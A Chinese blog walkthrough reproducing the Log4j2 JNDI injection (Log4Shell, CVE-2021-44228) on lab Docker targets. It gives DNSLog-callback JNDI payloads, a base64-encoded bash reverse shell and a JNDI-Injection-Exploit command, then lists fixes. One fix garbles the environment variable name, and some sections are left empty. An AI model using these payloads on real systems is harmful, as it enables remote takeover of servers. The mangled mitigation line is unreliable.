Apache Log4j2 JNDI 注入漏洞(CVE-2021-44228)
介绍
Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。
影响版本:
复现
靶机环境
分别对 vulfocus 和 vulhub 提供的docker镜像靶机进行测试。
验证漏洞存在
对于没有回显的漏洞,往往可以通过使用DNSLog来验证漏洞是否存在。但是由于该平台稳定性较差,可以使用其他类似的平台替代。如:https://dig.pm/ 、 https://dnslog.org/。
对于vulfocus的镜像,注入点在请求参数payload中:
1 | http://10.9.21.12:22234/hello?payload=111 |
首先在dnslog平台获取一个子域名,构造poc测试:
1 | ${jndi:ldap://49c01305.dnslog.store} |
还可以构造查询java版本的poc:
1 | ${jndi:ldap://${java:version}.49c01305.dnslog.store} |
需要注意的是,在请求中需要对参数进行URL编码!
在发送包含poc参数的请求后可以在dnslog平台看到响应,说明存在注入漏洞。
对于vulfocus的镜像,注入点可以在core创建页面的输入框中找到,其他同上。
反弹shell
使用工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 来启动LDAP、RMI和HTTP服务。
参数介绍:
原始的通过bash反弹shell的命令:
1 | bash -i >& /dev/tcp/10.9.21.12/12315 0>&1 |
该代码需要经过base64编码:
1 | YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjIxLjEyLzEyMzE1IDA+JjE= |
最终使用的poc:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjIxLjEyLzEyMzE1IDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.9.21.12 |
原理分析
因为log4j提供了一个lookup
的功能,它可以把一些系统变量放到日志中。
修复方案
- 升级log4j2到新版本(>2.14.1)。
- 更新java版本,或者设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”。
- 设置系统环境变量”FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”。
- 关闭应用的网络外连。
- 使用WAF拦截恶意请求。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ShadowMaster's Blog!
评论